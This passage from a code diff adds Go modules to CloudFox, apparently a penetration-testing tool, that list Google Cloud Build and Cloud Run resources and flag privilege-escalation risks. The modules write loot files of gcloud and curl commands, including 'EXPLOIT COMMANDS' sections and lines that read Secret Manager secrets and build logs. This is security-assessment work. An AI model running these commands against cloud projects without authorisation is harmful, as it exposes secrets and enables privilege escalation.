"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_CLOUDARMOR_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,523 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
cloudbuildservice "github.com/BishopFox/cloudfox/gcp/services/cloudbuildService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPCloudBuildCommand = &cobra.Command{
|
||||
Use: globals.GCP_CLOUDBUILD_MODULE_NAME,
|
||||
Aliases: []string{"cb", "build", "builds"},
|
||||
Short: "Enumerate Cloud Build triggers and builds",
|
||||
Long: `Enumerate Cloud Build triggers and recent build executions.
|
||||
|
||||
Features:
|
||||
- Lists all build triggers
|
||||
- Shows trigger source configuration (GitHub, CSR)
|
||||
- Identifies service accounts used for builds
|
||||
- Shows recent build executions
|
||||
- Detects potentially risky trigger configurations`,
|
||||
Run: runGCPCloudBuildCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct with embedded BaseGCPModule
|
||||
// ------------------------------
|
||||
type CloudBuildModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Module-specific fields
|
||||
ProjectTriggers map[string][]cloudbuildservice.TriggerInfo // projectID -> triggers
|
||||
ProjectBuilds map[string][]cloudbuildservice.BuildInfo // projectID -> builds
|
||||
ProjectSecurityAnalysis map[string][]cloudbuildservice.TriggerSecurityAnalysis // projectID -> analysis
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // Cached FoxMapper attack path analysis results
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct implementing CloudfoxOutput interface
|
||||
// ------------------------------
|
||||
type CloudBuildOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o CloudBuildOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o CloudBuildOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPCloudBuildCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_CLOUDBUILD_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &CloudBuildModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectTriggers: make(map[string][]cloudbuildservice.TriggerInfo),
|
||||
ProjectBuilds: make(map[string][]cloudbuildservice.BuildInfo),
|
||||
ProjectSecurityAnalysis: make(map[string][]cloudbuildservice.TriggerSecurityAnalysis),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *CloudBuildModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Get FoxMapper cache from context
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_CLOUDBUILD_MODULE_NAME, m.processProject)
|
||||
|
||||
allTriggers := m.getAllTriggers()
|
||||
allBuilds := m.getAllBuilds()
|
||||
|
||||
if len(allTriggers) == 0 && len(allBuilds) == 0 {
|
||||
logger.InfoM("No Cloud Build triggers or builds found", globals.GCP_CLOUDBUILD_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d trigger(s), %d recent build(s)",
|
||||
len(allTriggers), len(allBuilds)), globals.GCP_CLOUDBUILD_MODULE_NAME)
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *CloudBuildModule) getAllTriggers() []cloudbuildservice.TriggerInfo {
|
||||
var all []cloudbuildservice.TriggerInfo
|
||||
for _, triggers := range m.ProjectTriggers {
|
||||
all = append(all, triggers...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *CloudBuildModule) getAllBuilds() []cloudbuildservice.BuildInfo {
|
||||
var all []cloudbuildservice.BuildInfo
|
||||
for _, builds := range m.ProjectBuilds {
|
||||
all = append(all, builds...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *CloudBuildModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating Cloud Build in project: %s", projectID), globals.GCP_CLOUDBUILD_MODULE_NAME)
|
||||
}
|
||||
|
||||
cbSvc := cloudbuildservice.New()
|
||||
|
||||
// Get triggers
|
||||
triggers, err := cbSvc.ListTriggers(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDBUILD_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate Cloud Build triggers in project %s", projectID))
|
||||
}
|
||||
|
||||
// Get recent builds
|
||||
builds, err := cbSvc.ListBuilds(projectID, 20)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDBUILD_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate Cloud Build builds in project %s", projectID))
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectTriggers[projectID] = triggers
|
||||
m.ProjectBuilds[projectID] = builds
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["cloudbuild-details"] = &internal.LootFile{
|
||||
Name: "cloudbuild-details",
|
||||
Contents: "# Cloud Build Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
var projectAnalysis []cloudbuildservice.TriggerSecurityAnalysis
|
||||
for _, trigger := range triggers {
|
||||
m.addTriggerToLoot(projectID, trigger)
|
||||
// Perform security analysis
|
||||
analysis := cbSvc.AnalyzeTriggerForPrivesc(trigger, projectID)
|
||||
projectAnalysis = append(projectAnalysis, analysis)
|
||||
m.addSecurityAnalysisToLoot(projectID, analysis)
|
||||
}
|
||||
m.ProjectSecurityAnalysis[projectID] = projectAnalysis
|
||||
|
||||
// Add build step analysis to loot
|
||||
for _, build := range builds {
|
||||
m.addBuildToLoot(projectID, build)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *CloudBuildModule) addTriggerToLoot(projectID string, trigger cloudbuildservice.TriggerInfo) {
|
||||
lootFile := m.LootMap[projectID]["cloudbuild-details"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Build flags for special attributes
|
||||
var flags []string
|
||||
if trigger.PrivescPotential {
|
||||
flags = append(flags, "PRIVESC POTENTIAL")
|
||||
}
|
||||
if trigger.Disabled {
|
||||
flags = append(flags, "DISABLED")
|
||||
}
|
||||
|
||||
flagStr := ""
|
||||
if len(flags) > 0 {
|
||||
flagStr = " [" + strings.Join(flags, "] [") + "]"
|
||||
}
|
||||
|
||||
sa := trigger.ServiceAccount
|
||||
if sa == "" {
|
||||
sa = "(default)"
|
||||
}
|
||||
|
||||
branchTag := trigger.BranchName
|
||||
if branchTag == "" {
|
||||
branchTag = trigger.TagName
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# BUILD TRIGGER: %s%s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# ID: %s\n"+
|
||||
"# Source: %s - %s\n"+
|
||||
"# Branch/Tag: %s, Config: %s\n"+
|
||||
"# Service Account: %s\n\n"+
|
||||
"# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Describe trigger:\n"+
|
||||
"gcloud builds triggers describe %s --project=%s\n",
|
||||
trigger.Name, flagStr,
|
||||
trigger.ProjectID,
|
||||
trigger.ID,
|
||||
trigger.SourceType, trigger.RepoName,
|
||||
branchTag, trigger.Filename,
|
||||
sa,
|
||||
trigger.ID, trigger.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *CloudBuildModule) addSecurityAnalysisToLoot(projectID string, analysis cloudbuildservice.TriggerSecurityAnalysis) {
|
||||
lootFile := m.LootMap[projectID]["cloudbuild-details"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Add exploitation commands if available
|
||||
if len(analysis.ExploitCommands) > 0 {
|
||||
lootFile.Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
|
||||
for _, cmd := range analysis.ExploitCommands {
|
||||
lootFile.Contents += fmt.Sprintf("# %s\n", cmd)
|
||||
}
|
||||
}
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
|
||||
func (m *CloudBuildModule) addBuildToLoot(projectID string, build cloudbuildservice.BuildInfo) {
|
||||
lootFile := m.LootMap[projectID]["cloudbuild-details"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
buildID := build.ID
|
||||
if len(buildID) > 12 {
|
||||
buildID = buildID[:12]
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# BUILD: %s\n"+
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# Project: %s, Status: %s\n"+
|
||||
"# Trigger: %s, Source: %s\n",
|
||||
buildID,
|
||||
build.ProjectID, build.Status,
|
||||
build.TriggerID, build.Source,
|
||||
)
|
||||
|
||||
// Log location
|
||||
if build.LogsBucket != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"Logs: gsutil cat %s/log-%s.txt\n",
|
||||
build.LogsBucket, build.ID,
|
||||
)
|
||||
}
|
||||
|
||||
// Secret environment variables
|
||||
if len(build.SecretEnvVars) > 0 {
|
||||
lootFile.Contents += "Secret Env Vars:\n"
|
||||
for _, secret := range build.SecretEnvVars {
|
||||
lootFile.Contents += fmt.Sprintf(" - %s\n", secret)
|
||||
}
|
||||
}
|
||||
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *CloudBuildModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Log privesc count
|
||||
privescCount := 0
|
||||
for _, triggers := range m.ProjectTriggers {
|
||||
for _, trigger := range triggers {
|
||||
if trigger.PrivescPotential {
|
||||
privescCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
if privescCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[PENTEST] Found %d trigger(s) with privilege escalation potential!", privescCount), globals.GCP_CLOUDBUILD_MODULE_NAME)
|
||||
}
|
||||
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CloudBuildModule) getTriggersHeader() []string {
|
||||
return []string{
|
||||
"Project Name",
|
||||
"Project ID",
|
||||
"Name",
|
||||
"Source",
|
||||
"Repository",
|
||||
"Branch/Tag",
|
||||
"Config File",
|
||||
"Service Account",
|
||||
"SA Attack Paths",
|
||||
"Disabled",
|
||||
"Privesc Potential",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CloudBuildModule) getBuildsHeader() []string {
|
||||
return []string{
|
||||
"Project Name",
|
||||
"Project ID",
|
||||
"ID",
|
||||
"Status",
|
||||
"Trigger",
|
||||
"Source",
|
||||
"Created",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CloudBuildModule) triggersToTableBody(triggers []cloudbuildservice.TriggerInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, trigger := range triggers {
|
||||
disabled := "No"
|
||||
if trigger.Disabled {
|
||||
disabled = "Yes"
|
||||
}
|
||||
|
||||
privescPotential := "No"
|
||||
if trigger.PrivescPotential {
|
||||
privescPotential = "Yes"
|
||||
}
|
||||
|
||||
branchTag := trigger.BranchName
|
||||
if branchTag == "" {
|
||||
branchTag = trigger.TagName
|
||||
}
|
||||
|
||||
sa := trigger.ServiceAccount
|
||||
if sa == "" {
|
||||
sa = "(default)"
|
||||
}
|
||||
|
||||
// Check attack paths (privesc/exfil/lateral) for the service account
|
||||
attackPaths := "run foxmapper"
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
if sa != "(default)" && sa != "" {
|
||||
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, sa)
|
||||
} else {
|
||||
attackPaths = "No"
|
||||
}
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(trigger.ProjectID),
|
||||
trigger.ProjectID,
|
||||
trigger.Name,
|
||||
trigger.SourceType,
|
||||
trigger.RepoName,
|
||||
branchTag,
|
||||
trigger.Filename,
|
||||
sa,
|
||||
attackPaths,
|
||||
disabled,
|
||||
privescPotential,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *CloudBuildModule) buildsToTableBody(builds []cloudbuildservice.BuildInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, build := range builds {
|
||||
buildID := build.ID
|
||||
if len(buildID) > 12 {
|
||||
buildID = buildID[:12]
|
||||
}
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(build.ProjectID),
|
||||
build.ProjectID,
|
||||
buildID,
|
||||
build.Status,
|
||||
build.TriggerID,
|
||||
build.Source,
|
||||
build.CreateTime,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *CloudBuildModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if triggers, ok := m.ProjectTriggers[projectID]; ok && len(triggers) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "cloudbuild-triggers",
|
||||
Header: m.getTriggersHeader(),
|
||||
Body: m.triggersToTableBody(triggers),
|
||||
})
|
||||
}
|
||||
|
||||
if builds, ok := m.ProjectBuilds[projectID]; ok && len(builds) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "cloudbuild-builds",
|
||||
Header: m.getBuildsHeader(),
|
||||
Body: m.buildsToTableBody(builds),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *CloudBuildModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Get all project IDs that have data
|
||||
projectIDs := make(map[string]bool)
|
||||
for projectID := range m.ProjectTriggers {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectBuilds {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectIDs {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = CloudBuildOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_CLOUDBUILD_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CloudBuildModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allTriggers := m.getAllTriggers()
|
||||
allBuilds := m.getAllBuilds()
|
||||
|
||||
var tables []internal.TableFile
|
||||
|
||||
if len(allTriggers) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "cloudbuild-triggers",
|
||||
Header: m.getTriggersHeader(),
|
||||
Body: m.triggersToTableBody(allTriggers),
|
||||
})
|
||||
}
|
||||
|
||||
if len(allBuilds) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "cloudbuild-builds",
|
||||
Header: m.getBuildsHeader(),
|
||||
Body: m.buildsToTableBody(allBuilds),
|
||||
})
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := CloudBuildOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_CLOUDBUILD_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,688 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
CloudRunService "github.com/BishopFox/cloudfox/gcp/services/cloudrunService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPCloudRunCommand = &cobra.Command{
|
||||
Use: globals.GCP_CLOUDRUN_MODULE_NAME,
|
||||
Aliases: []string{"run", "cr"},
|
||||
Short: "Enumerate Cloud Run services and jobs with security analysis",
|
||||
Long: `Enumerate Cloud Run services and jobs across projects with security-relevant details.
|
||||
|
||||
Features:
|
||||
- Lists all Cloud Run services and jobs
|
||||
- Shows security configuration (ingress, VPC, service account)
|
||||
- Identifies publicly invokable services (allUsers/allAuthenticatedUsers)
|
||||
- Shows container image, resources, and scaling configuration
|
||||
- Counts environment variables and secret references
|
||||
- Generates gcloud commands for further analysis
|
||||
|
||||
Security Columns:
|
||||
- Ingress: INGRESS_TRAFFIC_ALL (public), INTERNAL_ONLY, or INTERNAL_LOAD_BALANCER
|
||||
- Public: Whether allUsers or allAuthenticatedUsers can invoke the service
|
||||
- Service Account: The identity the service runs as
|
||||
- SA Attack Paths: Privesc/exfil/lateral movement potential (run foxmapper first)
|
||||
- VPC Access: Network connectivity to VPC resources
|
||||
- Env Vars: Count of plain environment variables
|
||||
- Secret Mgr: Count of env vars referencing Secret Manager (secure storage)
|
||||
- Hardcoded: Detected secrets in env var VALUES (API keys, passwords, tokens)
|
||||
|
||||
Attack Surface:
|
||||
- Public services with ALL ingress are internet-accessible
|
||||
- Services with default service account may have excessive permissions
|
||||
- VPC-connected services can access internal resources
|
||||
- Container images may contain vulnerabilities or secrets
|
||||
- Hardcoded secrets in env vars are a critical security risk
|
||||
|
||||
TIP: Run foxmapper first to populate the SA Attack Paths column.`,
|
||||
Run: runGCPCloudRunCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type CloudRunModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Module-specific fields - per-project for hierarchical output
|
||||
ProjectServices map[string][]CloudRunService.ServiceInfo // projectID -> services
|
||||
ProjectJobs map[string][]CloudRunService.JobInfo // projectID -> jobs
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type CloudRunOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o CloudRunOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o CloudRunOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPCloudRunCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_CLOUDRUN_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &CloudRunModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectServices: make(map[string][]CloudRunService.ServiceInfo),
|
||||
ProjectJobs: make(map[string][]CloudRunService.JobInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *CloudRunModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Try to get FoxMapper cache (preferred - graph-based analysis)
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
logger.InfoM("Using FoxMapper graph data for attack path analysis", globals.GCP_CLOUDRUN_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_CLOUDRUN_MODULE_NAME, m.processProject)
|
||||
|
||||
// Get all resources for stats
|
||||
allServices := m.getAllServices()
|
||||
allJobs := m.getAllJobs()
|
||||
totalResources := len(allServices) + len(allJobs)
|
||||
if totalResources == 0 {
|
||||
logger.InfoM("No Cloud Run services or jobs found", globals.GCP_CLOUDRUN_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count public services
|
||||
publicCount := 0
|
||||
for _, svc := range allServices {
|
||||
if svc.IsPublic {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
|
||||
if publicCount > 0 {
|
||||
logger.SuccessM(fmt.Sprintf("Found %d service(s), %d job(s), %d public", len(allServices), len(allJobs), publicCount), globals.GCP_CLOUDRUN_MODULE_NAME)
|
||||
} else {
|
||||
logger.SuccessM(fmt.Sprintf("Found %d service(s), %d job(s)", len(allServices), len(allJobs)), globals.GCP_CLOUDRUN_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllServices returns all services from all projects (for statistics)
|
||||
func (m *CloudRunModule) getAllServices() []CloudRunService.ServiceInfo {
|
||||
var all []CloudRunService.ServiceInfo
|
||||
for _, services := range m.ProjectServices {
|
||||
all = append(all, services...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllJobs returns all jobs from all projects (for statistics)
|
||||
func (m *CloudRunModule) getAllJobs() []CloudRunService.JobInfo {
|
||||
var all []CloudRunService.JobInfo
|
||||
for _, jobs := range m.ProjectJobs {
|
||||
all = append(all, jobs...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *CloudRunModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating Cloud Run in project: %s", projectID), globals.GCP_CLOUDRUN_MODULE_NAME)
|
||||
}
|
||||
|
||||
cs := CloudRunService.New()
|
||||
|
||||
// Initialize loot for this project
|
||||
m.mu.Lock()
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["cloudrun-commands"] = &internal.LootFile{
|
||||
Name: "cloudrun-commands",
|
||||
Contents: "# Cloud Run Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
m.LootMap[projectID]["cloudrun-secret-refs"] = &internal.LootFile{
|
||||
Name: "cloudrun-secret-refs",
|
||||
Contents: "# Cloud Run Secret Manager References\n# Generated by CloudFox\n# Use: gcloud secrets versions access VERSION --secret=SECRET_NAME --project=PROJECT\n\n",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// Get services
|
||||
services, err := cs.Services(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDRUN_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate Cloud Run services in project %s", projectID))
|
||||
} else {
|
||||
m.mu.Lock()
|
||||
m.ProjectServices[projectID] = services
|
||||
for _, svc := range services {
|
||||
m.addServiceToLoot(projectID, svc)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// Get jobs
|
||||
jobs, err := cs.Jobs(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDRUN_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate Cloud Run jobs in project %s", projectID))
|
||||
} else {
|
||||
m.mu.Lock()
|
||||
m.ProjectJobs[projectID] = jobs
|
||||
for _, job := range jobs {
|
||||
m.addJobToLoot(projectID, job)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d service(s), %d job(s) in project %s", len(services), len(jobs), projectID), globals.GCP_CLOUDRUN_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *CloudRunModule) addServiceToLoot(projectID string, svc CloudRunService.ServiceInfo) {
|
||||
commandsLoot := m.LootMap[projectID]["cloudrun-commands"]
|
||||
secretRefsLoot := m.LootMap[projectID]["cloudrun-secret-refs"]
|
||||
|
||||
if commandsLoot == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// All commands for this service
|
||||
commandsLoot.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# SERVICE: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s, Region: %s\n"+
|
||||
"# Image: %s\n"+
|
||||
"# Service Account: %s\n"+
|
||||
"# Public: %v\n"+
|
||||
"# URL: %s\n\n"+
|
||||
"# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Describe service:\n"+
|
||||
"gcloud run services describe %s --region=%s --project=%s\n"+
|
||||
"# Get IAM policy:\n"+
|
||||
"gcloud run services get-iam-policy %s --region=%s --project=%s\n"+
|
||||
"# List revisions:\n"+
|
||||
"gcloud run revisions list --service=%s --region=%s --project=%s\n\n"+
|
||||
"# === EXPLOIT COMMANDS ===\n\n"+
|
||||
"# Invoke the service (if you have run.routes.invoke):\n"+
|
||||
"curl -H \"Authorization: Bearer $(gcloud auth print-identity-token)\" %s\n\n",
|
||||
svc.Name, svc.ProjectID, svc.Region,
|
||||
svc.ContainerImage,
|
||||
svc.ServiceAccount,
|
||||
svc.IsPublic,
|
||||
svc.URL,
|
||||
svc.Name, svc.Region, svc.ProjectID,
|
||||
svc.Name, svc.Region, svc.ProjectID,
|
||||
svc.Name, svc.Region, svc.ProjectID,
|
||||
svc.URL,
|
||||
)
|
||||
|
||||
// Add secret references to loot
|
||||
if len(svc.SecretRefs) > 0 && secretRefsLoot != nil {
|
||||
secretRefsLoot.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# SERVICE: %s (Project: %s, Region: %s)\n"+
|
||||
"# =============================================================================\n", svc.Name, svc.ProjectID, svc.Region)
|
||||
for _, ref := range svc.SecretRefs {
|
||||
if ref.Type == "env" {
|
||||
secretRefsLoot.Contents += fmt.Sprintf(
|
||||
"# Env var: %s\ngcloud secrets versions access %s --secret=%s --project=%s\n",
|
||||
